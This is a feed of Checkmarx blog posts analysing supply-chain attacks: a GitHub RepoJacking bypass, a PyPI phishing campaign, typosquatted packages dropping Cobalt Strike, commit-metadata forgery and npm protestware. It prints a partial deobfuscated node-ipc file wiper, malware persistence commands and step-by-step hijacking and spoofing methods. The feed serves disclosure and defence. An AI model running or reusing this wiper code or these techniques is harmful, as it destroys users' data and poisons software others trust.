Aviad Gershon, Author at Checkmarx https://checkmarx.com/author/aviadgershon/ The world runs on code. We secure it. Tue, 22 Oct 2024 18:42:35 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.1 https://checkmarx.com/wp-content/uploads/2024/06/cropped-cx_favicon-32x32.webp Aviad Gershon, Author at Checkmarx https://checkmarx.com/author/aviadgershon/ 32 32 Attacking the Software Supply Chain with a Simple Rename https://checkmarx.com/blog/attacking-the-software-supply-chain-with-a-simple-rename/ Wed, 26 Oct 2022 16:00:00 +0000 https://checkmarx.com/?p=80154

If not explicitly tended, all renamed usernames on GitHub were vulnerable to this flaw, including over 10,000 packages on the Go, Swift, and Packagist package managers. This means that thousands of packages could have been hijacked immediately and start serving malicious code to millions of users.

The vulnerability was fixed by GitHub following our report and is no longer exploitable.

This isn’t the first vulnerability found in this mechanism; earlier this year, an attacker used a similar vulnerability to hijack and poison popular PHP packages with millions of downloads.

The mechanism that was found vulnerable, the “Popular repository namespace retirement”, remains an attractive attack point for supply chain attackers in the future. Therefore, we provide an open-source tool to identify and help mitigate this risk.

 

GitHub Repository URL is Coupled to its Username

GitHub Repositories have a unique URL, it is nested under the user account which created the repository. Whenever someone would like to download (clone) the open source repository, they use the full repository URL.

When GitHub Users Rename Their Username

We showed that GitHub repositories are coupled to usernames. What happens when users decide to rename their account? In that case, GitHub supports the rename and displays the following warning noting that all traffic for the old repository’s URL will be redirected to the new one.

After accepting the warning and renaming the username, GitHub automatically sets up redirect rules from the old repository’s URLs to the new URLs. This is done to keep things operating for users unaware of this username change.

What is RepoJacking?

RepoJacking is a technique to hijack renamed repository URLs traffic and routing it to the attacker’s repository by exploiting a logical flaw that breaks the original redirect.

A GitHub repository is vulnerable to RepoJacking when its creator decided to rename his username while the old username is available for registration. We have shown the coupling in the repository URLs between the repository name and the creator username, and this means attackers can create a new GitHub account having the same combination to match the old repository URL used by existing users.

Whenever attackers do this, the default redirect is disabled, and all existing traffic is immediately routed to the attackers malicious GitHub repository.

GitHub Protection Against RepoJacking

To avoid this potentially harmful behavior, GitHub put in place the “popular repository namespace retirement” protection measure: any repository with more than 100 clones at the time its user account is renamed is considered “retired” and cannot be used by others.  

To clarify: what is considered “retired’ is the namespace, meaning the combination of the username and the repository name.  

For example, let’s take the repository named “repo” of the username “account-takeover-victim.” 

This repository was recently cloned 100 times, which qualifies it for the popular repository namespace retirement.  

At this point, the account’s owner decides to rename the username to whichever name they choose. 

The practical result of this is that the username “account-takeover-victim” can now be claimed by anyone. 

However, once the new owner of this username tries to open a new repository under the name “repo,” they will be blocked and get the following message: 

Bypassing GitHub Protection

In a previous blog, we described one technique for bypassing this protection. This was most likely the way it was done in the CTX incident. Shortly after that incident and the publicity it gained, GitHub patched this vulnerability.

Our group’s Chief Architect, Elad Rapoport, felt that there was more to this story, took another go, and found a new way to bypass the same protection. The new exploit was reported to the GitHub bug bounty program, which recently confirmed and patched the new vulnerability.

The current bypass abuses the “Repository Transfer” feature to achieve its goal in the following manner:

  1. “victim/repo” is a popular GitHub repository retired under the “popular repository namespace retirement” protection.
  2. “helper_account” creates the “repo” repository
  3. “helper_account” transfer ownership of the “repo” repository to “attacker_account.”
  4. “attacker_account” rename its username to “victim.”
  5. The new “victim” account (previously “attacker_account”) accepts the ownership transfer

The namespace “victim/repo” is now in the attacker’s control

Impact

As shown with the previous bypass of this protection measure, successful exploitation enables the takeover of popular code packages in several package managers, including “Packagist,” “Go,” “Swift,” and more. We have identified over 10,000 packages in those package managers using renamed usernames and are at risk of being vulnerable to this technique in case a new bypass is found.

In addition, exploiting this bypass can also result in a takeover of popular GitHub actions, which are also consumed by specifying a GitHub namespace. Poisoning a popular GitHub action could lead to major Supply Chain attacks with significant repercussions.

As mentioned, by now this vulnerability is fixed and no longer exploitable, which isn’t to say that another way to bypass this same protection won’t be found.

Timeline

1 Nov 21 – We found a way to bypass the GitHub namespace retirement  feature

8 Nov 21 – We disclose the bypass findings to GitHub

8 Nov 21 – GitHub acknowledged the bypass and replied that they are working on a fix

24 Mar 22 – GitHub respond that they have fixed the bypass

11 May 22 – We discover that the bypass is still exploitable and reported to GitHub

23 May 22 – This attack was found active against open-source attack

25 May 22 – This technique was published by a security researcher taking ownership of the attacks and was fixed shortly after by GitHub

13 June 22 – we found additional vulnerability to bypass GitHub namespace retirement feature and reported to GitHub

19 Sep 22 – GitHub fixed the vulnerability, classifies it as “High” severity, and grants us a bug bounty

26 Oct 22 – Full disclosure

Conclusion

Many GitHub users choose to use the “User rename” feature GitHub offers, among them, users that control popular repositories and packages. For that reason, the attempt to bypass the “Popular repository namespace retirement” remains an attractive attack point for supply chain attackers with the potential to cause substantial damages.

Moreover, it is interesting to notice that GitHub’s provided protection is activated based on internal metrics and gives the users no indication if a particular namespace is protected by it or not. This might leave some repositories and packages unknowingly at risk.

We recommend that customers avoid using retired namespaces to minimize the attack surface as other vulnerabilities in this mechanism may still exist.

We have released an open-source tool to identify those packages and suggest a safer way to consume them (using the new Package URL).

We want to thank GitHub for working with us and applying a fix to this vulnerability.

Working together to keep the open source ecosystem safe.

]]>
image_0-1024×220-1 image_1-1-1024×700-1 image_3-1-1024×370-1 image_4-1-1024×391-1 image_5-1-1024×306-1
First Known Phishing Attack Against PyPi Users https://checkmarx.com/blog/first-known-phishing-attack-against-pypi-users/ Wed, 31 Aug 2022 17:16:42 +0000 https://checkmarx.com/?p=78764

A few hours ago, PyPi disclose information on the first seen phishing attack aimed at a Python contributor.

Right now, we are aware of hundreds of malicious packages that were related to this attack based on the known indicator.

During our investigation, preformed in collaboration with SentinelLabs, we found new indicators related to this threat actor.

Details

This recent incident, carried out by the threat actor dubbed “JuiceLedger”,  includes two attack vectors against the open source ecosystem:

Phishing against PyPi contributors

Earlier today, the Twitter user AdamChainz reported that he received a phishing email asking him to validate his PyPi credential leading him to a fake PyPi login page in an attempt to steal his PyPi credentials.

As it seems, these phishing attempts succeeded at least twice as two existing, previously legitimate, python packages were poisoned with malicious payloads. This was probably a result of an account takeover of the owners of the packages after their credentials to PyPi were stolen.

The infected packages, version 0.1.6 of “exotel” (over 480,000 total downloads) and versions 2.0.2 and 4.0.2 of “spam” (over 200,000 total downloads) were taken down by now.

Not long after, PyPi’s official Twitter account reported that this phishing attack was related to a broader incident that included several hundred malicious python packages. These malicious packages were removed from the registry at that point.

Malicious typosquatting python package

The phishing attempt and the malicious packages are linked by the domain linkedopports[.]com, which appears in the malicious package code and also functions as the location to which the phishing site tries to send the stolen credentials.

Looking into this incident, and specifically into the malicious packages, we notice the following details.

The python-release[.]com domain

The malicious packages are trying to download and execute a file from the URL hxxps://python-release[.]com/python-install.scr

At the time of writing, VirusTotal exhibits a low detection rate of this file 3/67

This malware is untypically large, ~63MB, (possibly in an attempt to evade AV detection) and has a valid signature (signed on August 23rd, 2022).

The website hosted on hxxps://python-release[.]com looks like an attempt to imitate a legitimate source for python installation files:

The ledgdown[.]com domain

During our investigation, we found another unreported domain related to this attacker’s infrastructure.

Registered at the same timeframe, under the same IP as hxxps://python-release[.]com is the domain “ledgdown[.]com”. This domain is hosting a website trying to imitate the legitimate website of the crypto assets app “ledger live.”

Under this domain is the URL hxxps://ledgdown[.]com/LedgerSetup.zip.

This large zip file (~170MB) includes 3 files, one of them is “LedgerSetup.scr” (24/68 detection rate on VT) which in itself is large (~63MB) and, from the looks of it, bears a striking resemblance to the “python-install.scr” file.

Conclusion

We recommend checking your network traffic against the IOCs listed below, and as always, encouraging contributors to use 2FA.

This is another evolution into supply chain attacks when we see established threat actors starting to use the open source ecosystem as a way to increase the impact of their attacks. We believe this trend will continue to grow in the future.

The entrance of these kinds of actors emphasizes the need of collaboration between the defenders in order to keep the ecosystem safe

We’d like to thank SentinelLabs for their collaboration, and we are looking forward to working with them and other parties in the future.

Working together to keep the ecosystem safe…

IOCs

hxxps://python-release[.]com

hxxps://python-release[.]com/python-install.scr

hxxps://ledgdown[.]com

hxxps://ledgdown[.]com/LedgerSetup.zip

hxxps://linkedopports[.]com

hxxps://linkedopports[.]com/pyp/resp.php?live=Installation

python-install.scr — 60434af3ebe924efabc96558e6c8d8176bf4eb06dd6cc47b4c491da9964be874

LedgerSetup.scr — 8e97c6883e7af5cc1f88ac03197d62298906ac4a35a789d94cc9fde45ee7ea13

Malicious Packages List

You can find the list of malicious packages here.

]]>
Malicious PyPi User Strikes Again with Typosquatting, StarJacking and Unpacks Tailor-made Malware written in C# https://checkmarx.com/blog/malicious-pypi-user-strikes-again-with-typosquatting-starjacking-and-unpacks-tailor-made-malware-written-in-c/ Wed, 17 Aug 2022 14:27:11 +0000 https://checkmarx.com/?p=78331

A known malicious contributor has published two new Python packages trying to mimic popular ones to lure developers into downloading them and infect their machines with Cobalt Strike. This account was not disabled after the first attack, allowing the attacker to continue publishing malicious code while improving their techniques.

This demonstrates the importance of tracking malicious actors and their activities in an effort to keep the ecosystem safe.

Intro

On Saturday, August 13th, Checkmarx’s Software Supply Chain Security Typosquatting and StarJacking engines detected what seemed like an attack on the Python ecosystem.

The PyPi user account john3298, which back in June had published a malicious package reported by Sonatype, struck again, publishing two malicious packages with multiple versions. These packages impersonate the original package’s maintainers and steal the popularity stats using the StarJacking technique.

Further investigation revealed multiple evasion and obfuscation techniques, C2 communication, and eventually the drop of a malicious payload recognized by several antivirus vendors as a Cobalt Strike beacon.

Imitating popular packages

The two malicious packages — typing-unions and aiogram-types — are trying to look similar to the popular packages typing (Over 9 million monthly downloads) and aiogram (Over 100 thousand monthly downloads), respectively.

To do that, the attacker employs several techniques. The first one is obviously Typosquatting of a sort, adding an innocent-looking suffix to the packages’ names.

Other than that, the attacker also took the time to copy the relevant package descriptions and use the StarJacking technique.

StarJacking is the act of linking the package’s GitHub repo URL into an unrelated legitimate popular GitHub project. By providing such a false statement, websites such as PyPi display statistics fetched from the linked GitHub page, which may trick developers into thinking the high number of stars displayed is genuine.

As this attacker used the StarJacking technique, he also stole the identity of a legitimate author:

Known Malicious user account

Checkmarx SCS team has evidence collection where every OSS package and its related metadata are being collected ASAP for evidence and potentially later analysis and comparison. We were able to backtrack the deleted package of PyPi user john3298,as a former package published by him was caught and removed two months ago, as reported by Sonatype.

Package Name Versions
aiohttp-proxy-connect 0.1.3
0.3.8
0.1.6
0.1.1
0.2.2
0.4.2
0.2.4

The user account john3298 clearly has a bad reputation. Seeing more package releases from this user’s account also increases the suspicion in the candidate packages to examine.

Other than this package and the two we are reporting in this blog, there is a high probability that the same actor is also behind several other PyPi usernames and packages, with a large portion of them targeting the aiohttp package. The connection between these entities is based on code similarity, infrastructure residing in the same country (Kazakhstan), and code including Cyrillic letters.

PyPi User Account Packages
misterpython6 aiohttp-proxies
ai-http-proxy
aiohttp-proxy2
aiohttp-proxy5
aiohttp-sock
misterpython7 aiohttp-socks-connector
aiohttp-socks5-connector
aiohttp-proxies-connector
dns-lexiconrequests-mock
attr-property
misterpython8 eth-mnemonic-utils
aiohttp-socks-test-connector
eth-abcde
aiohttp-proxies-fork
test-lib1237
aiohttp-proxies-forked
test-test-test123
aiohttp-async-proxy
aiohttp-async-socks

Attack Flow

Both packages will run upon installation. The triggered code can be found at the end of the setup.py file. The code checks if it is being run on a windows machine and, if so, start the infection chain. The first step is decoding a base64 encoded string and executing it.

This string is decoded to another python snippet that has the following functionalities:

1 – Getting Anti-Virus Products deployed on the machine.

2 – Checking if one of the anti-viruses is listed in the attacker’s hardcoded list and, if so, prevents the rest of the code from running.

3 – Decoding another base64 encoded string.

4 – Saving the decoded string to disk as a .exe file and running it.

Understanding The Unpacked .exe

 

The dropped .exe file is a custom-made malware, written in the C#  and detected as malicious by over 20 AV vendors on VirusTotal at the moment.

 

This file exhibits numerous layers of obfuscation and seems to be packed by the IntelliLock packer.

 

We then ran a scan using multiple commercial sandbox services (example analysis results). Dynamic analysis revealed the following behavior of the malware:

  1. Install itself as a persistent scheduled task by the name “MicrosoftAssisant” (typo) running on Logon

‘C:WindowsSysWOW64schtasks.exe schtasks /create /TN “Microsoft Assisant” /TR “C:ProgramDataMicrosoftMicrosoftAssisant.exe” /sc ONLOGON’

  • Retrieve information about the infected machine by initiating a request for http://ipwho[.]is/ including IP address and geo-location
  • Send several requests to a server at “77.73.134[.]3”

One of the requests to this server is to the URL “hxxp://77.73.134[.]3:8080/api/v2/GetProfilePicture”, which fetches a binary file recognized by several vendors as a Cobalt Strike beacon.

https://www.virustotal.com/gui/file/6599d5499c518c8651b0fd9a11ff0798e3101ff2bc21560355d9257d5859c537/detection

Conclusions

This recent attack by a known malicious PyPi user account demonstrates the importance of tracking these user accounts for new threats. This is true not only for PyPi but also for other package managers.

It is also an opportunity to raise developers’ awareness of this sophisticated attack. A combination of the StarJacking and Typosquatting techniques can make a compelling package that might pass the scrutiny of even a diligent developer, even though the code in the package itself will bear no resemblance to the one in the GitHub repository.

IOCs

  • 77.73.134[.]3
  • Payloads (from different package versions)
    • a5a0891067218690a6986cd19c646758ee51eef48b4e904b8f46394d61a629b6
    • 732f681ccabb45d421f0b944528dfab5fcc089c928c7c5db06472b09fc545b04
    • 8f66b15dee0ca1e24ee932749206ee3a374c467f6bf4932edf046d6f57472709
  • CobaltStrike Beacon
    • 6599d5499c518c8651b0fd9a11ff0798e3101ff2bc21560355d9257d5859c537

List of Packages

See the list below, comparing the popular malicious packages with the original packages.

Malicious Package Name Original Package Name Original Package Monthly Downloads
aiogram-types aiogram Over 100 thousand
typing-unions typing Over 9 million
aiohttp-proxy-connect aiohttp Over 52.5 million

Timeline

  • 2022-06-01 – PyPi user john3298 registered
  • 2022-06-03 – PyPi user john3298 published package “aiohttp-proxy-connect”
  • 2022-06-10 – PyPi package was reported to have malicious code and removed
  • 2022-08-13 – PyPi user john3298 published two packages “aiogram-types” and “typing-unions”
  • 2022-08-15 – Checkmarx reported the findings to PyPi

]]>
Unverified Commits: Are You Unknowingly Trusting Attackers’ Code? https://checkmarx.com/blog/unverified-commits-are-you-unknowingly-trusting-attackers-code/ Fri, 15 Jul 2022 13:00:00 +0000 https://checkmarx.com/?p=77371

An alarming software supply chain attack technique allows threat actors to trick developers into using potentially malicious code.

By leveraging the ability to spoof and forge commits’ metadata on GitHub, an attacker can deceive users and lure them into using poisoned repositories.

Now might be a good time to check whether you are unknowingly listed as a contributor in a suspicious repository or if you are using code from a user that is not as trustworthy as you think.

Intro

Developers looking for an open source project are more likely to choose one that is active and maintained, and more likely to trust long-time developers with a track record of activity in the past few years. GitHub makes it easy to assess this by providing much of this metadata. Unfortunately, some of these data points can be easily forged.

Details

One of the building blocks of the Git version control system are the commits. GitHub’s documentation describes commits as follows:

As this points out, in addition to the data itself, which is the changes to the code, commits also includes metadata. This metadata comes in the form of timestamp and the identity of the creator. The issue is that both can be forged.

Falsified Commit Date

As mentioned, each commit on GitHub is attached with its own timestamp indicating when it was committed. However, this timestamp can be easily manipulated, meaning we can make commits look as if they were done in a different time other than the moment they were actually committed. To achieve that, all we have to do is alter two environment variables on the local machine with the command “git set”

Committing some changes with these environment variables and pushing them to GitHub will result in the following:

In this example, it’s worth mentioning that the fake timestamp predates the creation of both the user committing it, and the repository it was committed to.

What can we do with this?

Due to this lack of verification for timestamps, a malicious user can appear credible by making it look like they have been extremely active for a very long time.

A prominent measure of user activity on GitHub is the “activity graph” presented on the user’s profile page. This graph is essentially a heatmap showing the user’s activity through time. Hence, if we are able to fabricate commits with any timestamp we want, we can fill this graph with falsified activities.

If we go on with our previous example, fake commit in April 2010, we can see that the activity graph is as follows:

At this point, there is nothing preventing us from automatically generating fake commits and fill our graph of 2010 to look however we want.

Since the activity graph displays activity on both public and private repositories, it is impossible to discredit these fake commits, and therefore, this deception technique can be hard to detect as well.

Adding Spoofed Contributors

In a similar manner, it is also possible to spoof the identity of the committer and attribute a commit to a real existing user account on GitHub. For example, we could use the reputation of one of the top contributors on GitHub and push a commit on their behalf.

Spoofing commits to make it look like they were done by any user we choose is relatively simple:

1 – Find out the user’s email address

Although GitHub offers ways to prevent a user’s email from being exposed, they require the developer to opt into these features and are mostly not used. In order to find out the user’s email, we can manually follow the below steps or even automate them.

  • Looking for an authentic commit of the user following this URL pattern:

<a href=”https://github.com/<username>/<repo_name>/commit/https://github.com/<username>/<repo_name>/commit/<commit_hash>

  • Add the string “.patch” at the end of the URL, like so:

<a href=”https://github.com/<username>/<repo_name>/commit/https://github.com/<username>/<repo_name>/commit/<commit_hash>.patch

  • browsing to this address will yield a result similar to the one below which will include the user’s email address.

2 Set the username and email on git CLI

3 – Commit changes

What can we do with this?

As shown a few weeks ago by Aqua, the NPM package manager allowed package owners to add to their package any contributor they would like, and enhancing their project reputation and credibility by doing so.

By spoofing the identity of the committer, this can be done for GitHub repositories as well. To make their project look reliable, attackers can use this technique once or multiple times and populate their repository’s contributors section with known reliable contributors, which in turn, makes the project look trustworthy.

What makes this commit spoofing even more alarming is the fact that the user being spoofed isn’t notified and won’t know that their name is being used.

Verified Commits

To mitigate the risk of spoofed contributors described above, GitHub introduced “Commit Signature Verification”. This feature allows users to cryptographically sign their commits so their contribution can be checked and verified as their own’s and not of an imposter. However, this feature only verifies the signatures themselves and not their existence. If a commit isn’t signed it won’t be flagged in any way.

To increase the effectiveness of this feature in alerting of unverified commits, it is possible to enable “vigilant mode” which will display the verification status of all of your commits, including the ones that were not signed at all. This way, it is easier to spot attempts of this impersonation.

Conclusion

In this blog, Checkmarx SCS team detailed two ways in which threat actors can leverage GitHub’s features to trick developers into using repositories with potentially malicious code.

The metadata on GitHub helps developers make decisions regarding the usage of certain repositories.

Hence, fake metadata can mislead developers to use code they would knowingly not have used, and can potentially encompass malicious code.

The lack of validation of the committer identity and the commit’s timestamp is an issue by itself, but it also enables ill-wished actors to leverage it to gain credibility to their users and repositories.

GitHub offers a solution for verifying committers’ identity, but it requires active involvement from developers and can be expended to include more protective measures.

We encourage developers to sign their commits and enable vigilant mode on their user, steps that will help make the ecosystem safe.

]]>
“CuteBoi” Detected Preparing a Large-Scale Crypto Mining Campaign on NPM Users https://checkmarx.com/blog/cuteboi-detected-preparing-a-large-scale-crypto-mining-campaign-on-npm-users/ Wed, 06 Jul 2022 11:00:00 +0000 https://checkmarx.com/?p=77112

Over a thousand packages and users were created on NPM using an automated process in the past few days. Is it a phase one of an upcoming attack?

Checkmarx SCS team detected over 1200 npm packages released to the registry by over a thousand different user accounts. This was done using automation which includes the ability to pass NPM 2FA challenge. This cluster of packages seems to be a part of an attacker experimenting at this point.

We dubbed this new actor “CuteBoi” as a tribute to the “cute” username hardcoded in many of the packages’ configuration files and to one of the non-random NPM usernames the Attacker is using, “cloudyboi12”

We expect this actor to continue their experimentation and eventually launch an attack that might cause real damage. Therefore, we have signed several traits of this Attacker’s behavior and continue to track them. The findings will be available to all on our dedicated tracker page cuteboi.info.

Details

In the past few days, Checkmarx SCS team detected a burst of suspicious NPM users and packages automatically created. All of these packages contain an almost identical duplicate of the code of the eazyminer package, a JS wrapper around XMRig. This wrapper was designed to utilize unused resources of machines such as ci/cd and web servers.

This suspicious activity includes over 1200 packages, of which more than 1000 are still available on the NPM registry. These packages were published by close to 1000 automatically created users.

At this point, downloading and installing these packages will have no negative effect on the machine. The copied code from eazyminer includes a miner functionality intended to be triggered from within another program and not as a standalone tool. The Attacker didn’t change this feature of the code and for that reason, it won’t run upon installation.

The original eazyminer usage instruction

CuteBoi did, however, make some changes in the miner’s configuration files. The most interesting of them is the URL to which the mined cryptocurrency should be sent, most likely running XMRig-proxy.

Known miners

At the heart of these packages are the XMRig miners. Their binaries, compiled for windows and linux systems, are shipped along with the packages. The Attacker changes the names of these binaries to match the random names of the package themselves.

Automated Users Creation

CuteBoi is using automation to launch malicious packages at scale where almost every package being published has a unique NPM account, created using custom built automation processes.

Such automation technique was seen before with the threat actor RED-LILI where we saw the attacker launch a self-hosted server to support such automation. However, it seems that in this case, CuteBoi found a way to launch such attack without hosting a custom server and registering domains.

Fake Identity as-a Service

Looking at the domains with which CuteBoi is creating NPM users, we can deduce that they are using mail.tm – a free service providing disposable email addresses with REST API, enabling programs to open disposable mailboxes and read the received emails sent to them with a simple API call. This way CuteBoi can and easily defeat NPM 2FA challenge when creating a user account.

Sharing our Findings

As defenders we strongly believe in the power of sharing our findings publicly to help researchers improve their detection method and learn from real examples.

As a step to help the community, we’ve launched a tracker project called CuteBoi Tracker also available on GitHub where all information related to this attack group is shared and updated.

Conclusion

CuteBoi is the second attack group seen this year using automation to launch large-scale attacks on NPM. We expect we will continue to see more of these attacks as the barrier to launce them is getting lower.

We encourage open source developers to stay vigilant and check that they are not affected by this attack.

To stay updated on this actor’s activity, visit our tracker site cuteboi.info.

IOCs

  • knowledgemd[.]com
  • scpulse[.]com
  • idots[.]cf
  • fisch[.]ml
  • Nordalts[.]ml
  • 130.162.52[.]80
  • XMRig Windows version
    • 105704d5455bb188ad4985d5e593ff6c
    • e22a630f3d3c7a78dbb47f44343b49059f98a251
    • b6de08712fedfeb4404f8a8de3c14a241978acb116dc42f4c711766f14044c36
  • d3e4daa6c4d5ec23f322a19dae173bd9
    • c72dce5b747261a658a46d977a0b37ca628571f2
    • 9c10c46476fe17167237c99b66b18d875ed95db9cde1a8e4d5f43f83e0daff26
]]>
“CuteBoi” Detected Preparing a Large-Scale Crypto Mining Campaign on NPM Users Checkmarx SCS team detected over 1200 npm packages released to the registry by over a thousand different user accounts. This was done using automation which includes the ability to pass NPM 2FA challenge. This cluster of packages seems to be a part of an attacker experimenting at this point. AppSec,article,awareness,Developer,English,Leadership,Open Source Security,Supply Chain Security
New Protestware Found Lurking in Highly Popular NPM Package https://checkmarx.com/blog/new-protestware-found-lurking-in-highly-popular-npm-package/ Thu, 31 Mar 2022 13:00:00 +0000 https://checkmarx.com/?p=74804 Does Protestware undermine the trustworthiness of OSS ecosystems?

Two popular packages, “styled-components” and “es5-ext”, with millions of weekly downloads and thousands of dependent projects, released new Protestware versions. The new versions verify that the infected machine belongs to a Russian user and if so, alter their behavior in protest against Russian aggression in Ukraine.

Intro

A few weeks ago, the NPM user account riaevangelist released several new versions of its popular package node-ipc, which included wiper functionally protesting the Russia-Ukraine war. This incident followed the “colors” and “faker” incident and together they mark what we and many other foresaw to be a new trend in open-source software: “Protestware”, software that includes functionality which aims to protest or raise an issue. This trend continues with the new versions of the two packages described below.

The Styled-components Package

The popular NPM package styled-components has over 16,500 dependent projects and about 4 million weekly downloads. It was created to enhance the CSS and styling development process for React-based projects and focuses on creating a better development experience.

On March 24, the NPM user account probablyup released two consecutive versions (5.3.4, and 5.3.5). The new addition is an update to the package.json file with a postinstall script that automatically runs when the package is being installed.

The postinstall.js File

A deeper look into the new file “postinstall.js” reveals the author had added new Protestware functionality.

The code reads the operating system’s locale setting and checks whether it is matching a Russian one such as “ru_RU”. If the condition is satisfied, the program prints a hard-coded message to the installation terminal.

The content of the message, printed in both English and Russian (‘via google translate’ as the author indicates) and said to be on behalf of the “styled-components core team,” details “atrocities done by Russia in Ukraine.” The message goes on and calls for Putin’s removal from power:

“If you are in a position to do something, have connections, or can spread the word, this is the time to do so. Don’t let Vladimir Putin permanently stain the souls of all Russian people with these atrocities. He must be removed from power immediately.”

A screenshot of the message printed when installing the Protestware package

Breaking Changes

As seen before in this Checkmarx research blog post, mistakes sometimes happen. The NPM user account probablyup that published version 5.3.4 forgot to include in his new release the postinstall.js file. This disrupted the package’s installation process while causing errors for many developers and build systems trying to use it.

This quickly resulted in a GitHub issue “cannot find module node_modules/styled-components/postinstall.js #3706” created by a user who bumped into this installation error, seeking a solution.

To resolve this problem, NPM user account probablyup (which seems to be the same user that responded to the Issue created on the project’s GitHub page), has quickly released a new fixed version, 5.3.5, which now includes the missing “postinstall.js” file, and can be installed successfully.

More Packages by This User

The NPM user account probablyup has published 25 NPM packages with a total of 14 million weekly downloads. The following table details recent statistics of the top packages:

Package Name Number of Weekly Downloads
markdown-to-jsx 5,076,494
babel-plugin-styled-components 4,202,448
styled-components 3,926,760
jest-styled-components 710,881
stylis-plugin-rtl 43,605
buttermilk 2,635

The es5-ext Package

Similarly, another popular NPM package es5-ext with nearly 13 million weekly downloads, was updated a few weeks ago to include “Call for peace” message that is printed when the package is installed on machines configured to Russian time zones.

This protest massage mainly urges Russian users to consume their information about the war from reliable sources and includes link for instructions to use Tor browser to circumvent Russian censorship.

This change was first introduced to the es5-ext package in version 0.10.54 on March 7 and went through several iterations before stabilizing on the current version 0.10.59 on March 17.

The changes in this package sparked multiple discussions in the project’s GitHub page, including reports on the installation process breaking due to the new changes in the early iteration of the Protestware functionality.

The owner of the repository medikoo has also opened an issue where he lays down the reason for his actions.

Conclusion

styled-components and es5-ext continue the Protestware trend in which developers decide to express their agenda in their popular code packages.

The continuing of this trend raises again some debates about the legitimacy of these actions and the damage to the trust developers put in these specific packages, their developers, and the ecosystem as a whole.

Another question that arises in relation to these incidents is regarding our security reaction to them. Should we opt for alternative packages or just lock our project to the most recent clean version? What about other packages by the same user? Should we avoid using them as well?

This obviously will be influenced by the nature of the damage the Protestware has done. Previous Protestware has wiped the machines of targeted users, while styled-components and es5-ext only prints protest massages.

Although the “colors” incident marked its beginning and protested other issue, the Protestware trend certainly gained some traction due to the Russian attack on Ukraine. It will be interesting to see what will happened to it once the fighting stops: Will the trend fade as well, or will we continue to see developers pushing their agenda through their popular open source packages?

]]>
image_1-969×1024-1 image_4-976×1024-1 image_5-1024×746-1 image_3-1-1 image_2-1 image_6-969×1024-1 image_7-1-1
Protestware, Politics, and Open Source Software https://checkmarx.com/blog/protestware-politics-and-open-source-software/ Thu, 17 Mar 2022 15:48:25 +0000 https://checkmarx.com/?p=74453 Intro

A popular NPM package node-ipc was purposely infected with a malicious payload by its own creator to protest over the Russia-Ukraine war. This package has over a million weekly downloads and hundreds of direct other dependent packages, including the popular Vue CLI project.

GitHub user RIAEvangelist/NPM user riaevangelist published new code to GitHub and NPM to protest Russian aggression in the Russia-Ukraine war:

  1. Published new NPM package peacenotwar, which drops benign protest messages on the target machine.
  2. Added peacenotwar as a new dependency to node-ipc package.
  3. Added a new file dao/ssl-geospec.js to node-ipc package. This addition targets users having Russian or Belarusian IP addresses and running a malicious payload, destroying all files on disk by rewriting their content with a heart emoji “❤

The main discussion about this incident started and is still ongoing in an issue on the package’s github repository. Since GitHub user RIAEvangelist is the owner of the Git repository github.com/RIAEvangelist/node-ipc, he has permission to edit other users’ Issues. From the Issue history shown below, we observed he also purposely edited the Issue’s title and description multiple times as an attempt to corrupt the information shared by the concerned users.

However, the history is still available. This way, we can see that the issue’s originator has declared the code as “malware/protestware” a new(ish) phrase that caught even “RIAEvangelist”’s eye:

This incident comes not long after the “colors” incident which might signifies the beginning of a trend in which influential package owner uses their “stage” to advocate for an idea or an issue they care about, catching the attention of many. “RIAEvangelist” himself winked to the “color” incident by adding this package as a new dependency to one of the new questionable versions of “node-ipc”.

Details

To summarize the investigation’s findings, the following table contains all information of effected packages and versions related to this incident:

Package Version Available on NPM Details
node-ipc 9.2.2 No Require peacenotwar and colors
node-ipc 10.1.1,
10.1.2
No Includes the file “dao/ssl-geospec.js” with the malicious functionality described below
node-ipc 10.1.3 No Includes no malicious or protest functionality
node-ipc 11.1.0 Yes Require peacenotwar
peacenotwar 9.1.1,
9.1.2,
9.1.3,
9.1.4,
9.1.5,
9.1.6
Yes Include the protest code described below
oneday-test 9.1.1 Yes Include the protest code described below

Package “node-ipc”

A new file was added to the package dao/ssl-geospec.js and from the looks of it, it seems it is minified:

import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ ...

The code is executed automatically with a slight delay, it is geo-location aware, and activates the malicious payload only for users connected to the internet from Russia or Belarus. To become location aware, the code is using the API of the free service ipgeolocation.io.

Once the condition to proceed with the malicious payload is fulfilled, the code tries to overwrite all the files on the victim’s machine with “❤” (the heart emoji).

Courtesy of the user zkyf, we have a more readable version of the original code:

const path = require("path");
const fs = require("fs");
const https = require("https");
setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) {
        // return;
    }
    const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";
    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message = JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName = message[countryName.toString("utf8")].toLowerCase();
                const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });
    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);
async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
